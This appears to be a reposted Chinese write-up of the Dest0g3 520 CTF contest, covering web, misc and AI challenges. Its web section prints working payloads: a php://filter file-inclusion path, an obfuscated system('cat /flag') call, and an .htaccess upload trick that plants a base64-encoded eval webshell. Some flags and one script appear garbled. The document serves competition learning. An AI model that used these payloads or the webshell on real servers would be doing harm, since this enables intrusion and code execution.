Dest0g3 520迎新赛 Writeup

Posted 末 初

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Dest0g3 520迎新赛 Writeup相关的知识,希望对你有一定的参考价值。

文章目录


WEB

phpdest


php源码分析 require_once 绕过不能重复包含文件的限制https://www.anquanke.com/post/id/213235

payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

PS C:\\Users\\Administrator> php -r "echo base64_decode('PD9waHANCiRmbGFnID0gIkRlc3QwZzN7NzMwZDFmM2YtOGYzZi00YmEzLThkMDAtOGQxMWVkY2RjODRkfSI7DQo=');"
<?php
$flag = "Dest0g3730d1f3f-8f3f-4ba3-8d00-8d11edcdc84d";
PS C:\\Users\\Administrator>

EasyPHP


POST传参,造成报错,执行set_error_handler

ctf[]=123

SimpleRCE



payload

aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));

funny_upload


前端JS有些白名单限制,直接利用插件或者其他办法禁用掉JS
上传过程中发现可以上传.htaccess文件,其次限制了文件后缀名,以及检查文件内容,过滤:<?

.htaccess中利用伪协议,对访问内容base64解码

.htaccess文件

AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.jpg"

images.jpg

PD9waHAgZXZhbCgkX1BPU1RbJ21vY2h1NyddKTs/Pg==

MISC

Welcome to fxxking DestCTF


Pngenius



分离出来的压缩包有密码,真加密,寻找密码

图片LSB发现密码

解压

Dest0g32908C1AA-B2C1-B8E6-89D1-21B97D778603

EasyEncode



真加密,尝试爆破密码

Dest0g3Deoding_1s_e4sy_4_U

StrangeTraffic


查看Modbus传输的数据,是一位一位覆盖的

和flag的格式开头的base64一样,直接锁定

不长,手工一位一位查看即可,解码base64

Dest0g331A5BEA6-F20D-F18A-E8EA-29B4F257108B

codegame



LOL Language

得到key,首先可以用作压缩包密码解压缩包得到1.docx,内容提示AES,无其他内容,尝试将docx修改成.zip解压发现fllllllllll1ag.txt


emoji符号加上之前提示的AES,猜测为emoji-aes,key继续猜测为之前的key,有点小脑洞Rotation=4

PS C:\\Users\\Administrator> php -r "echo hex2bin('666C61677B39663638663333342D303137612D343230312D393264662D6464646363313435333334647D');"
flag9f68f334-017a-4201-92df-dddcc145334d
PS C:\\Users\\Administrator>

你知道js吗



修改后缀名为flag.docx,然后打开,复制内容

BrainFuckhttps://www.splitbrain.org/services/ook

PS C:\\Users\\Administrator> php -r "echo hex2bin('446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D');"
Dest0g386facac9-0a5d-4047-b702-86cb37ab77b2
PS C:\\Users\\Administrator>

EasyWord

The length of docm 's password is 6
The Regular Expression of the password is:
[a-z] [a-z] q [a-z] b [a-z]

生成密码字典

alphabet='abcdefghijklmnopqrstuvwxyz'
with open('password.txt', 'w') as f:
	for s1 in alphabet:
		for s2 in alphabet:
			for s3 in alphabet:
				for s4 in alphabet:
					password = 'qb\\n'.format(s1, s2, s3, s4)
					f.write(password)

hashcat破解office密码:https://evi1cg.me/archives/hashcat_crack_office.html


得到password.docm的密码:ulqsbt

之后的步骤参考:https://blog.csdn.net/qq_44768749/article/details/102673212

我的WPS是个人版,运行不了宏,懒得弄了,直接摆

Python_jail



零宽度字符隐写


解压压缩包,得到SECRET1.pngLSB发现flag的base64

PS C:\\Users\\Administrator> php -r "echo base64_decode('ZmxhZ3tiNWJjZmM4Ny01Y2E2LTQzZjEtYjM4NC01N2QwOWI4ODZjYTl9');"
flagb5bcfc87-5ca6-43f1-b384-57d09b886ca9

4096


首先/js/local_storage_manager.js发现后半部分base64解码得到flag


下载源码下来发现favicon.png文件大小异常

wav文件被分为两部分,中间一部分是SSTV,旁边两部分是DTMF

首先删掉中间部分导出,DTMF解码

QSSTV


猜测DTMF得到就是手机号码,不过多了一位7好像重复了,应该是导出的时候出错,删掉即可,得到号码:13879085947

PS D:\\Tools\\Misc\\dtmf2num> php -r "echo md5('13879085947');"
32fc1b5487cb447f792a19418b92544e


gaps拼图

gaps --image=part_flag.jpg --generations=50 --population=120 --size=64 --verbose

一直没出好效果,卡在这了,不过也差不多了,拼一下

得到后半部分flag

RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==

前半部分flag

NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=
PS D:\\Tools\\Misc\\dtmf2num> php -r "echo base64_decode('NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=');"
4ee7-b673-971d81f8b177
PS D:\\Tools\\Misc\\dtmf2num> php -r "echo base64_decode('RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==');"
Dest0g3ed4d114f-9ee4-
Dest0g3ed4d114f-9ee4-4ee7-b673-971d81f8b177

AI

OCR


首先图片用010 Editor打开之后报错CRC不匹配,猜测修改了高度,使用脚本还原

import binascii
import struct
import sys

file = "flag_pic.png"#图片地址
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
#原来的代码: crc32key = eval(str(fr[29:33]).replace('\\\\x','').replace("b'",'0x').replace("'",''))
n = 4095
for w in range(n):
    width = bytearray(struct.pack('>i', w))
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
        crc32result = binascii.crc32(data) & 0xffffffff
        if crc32result == crc32key:
            print(width,height)
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+'.png','wb')
            fw.write(newpic)
            fw.close
            sys.exit()


在线OCR:https://www.onlineocr.net/zh_hant/

将得到的文本替换一下OCR比较容易出错的字符:

  • l -> 1
  • O -> 0


另存为.7z,解压,打开虽然乱码但是还是可以发现flag的base64

PS C:\\Users\\Administrator> php -r "echo base64_decode('RGVzdDBnM3szNDUxMjA5OC0zMzA5LTc3MTItODg2NS03ODM0NjAyMjE2NDd9');"
Dest0g334512098-3309-7712-8865-783460221647

以上是关于Dest0g3 520迎新赛 Writeup的主要内容,如果未能解决你的问题,请参考以下文章

2018.11.25 齐鲁工业大学ACM-ICPC迎新赛正式赛题解

2017.12.23 浙江工大 迎新赛

2017年浙工大迎新赛热身赛 Lcayun日常之赏月易错特判

信息安全铁人三项赛--资质赛writeup

长安“战疫”网络安全卫士守护赛writeup

CTF-安恒19年一月月赛部分writeup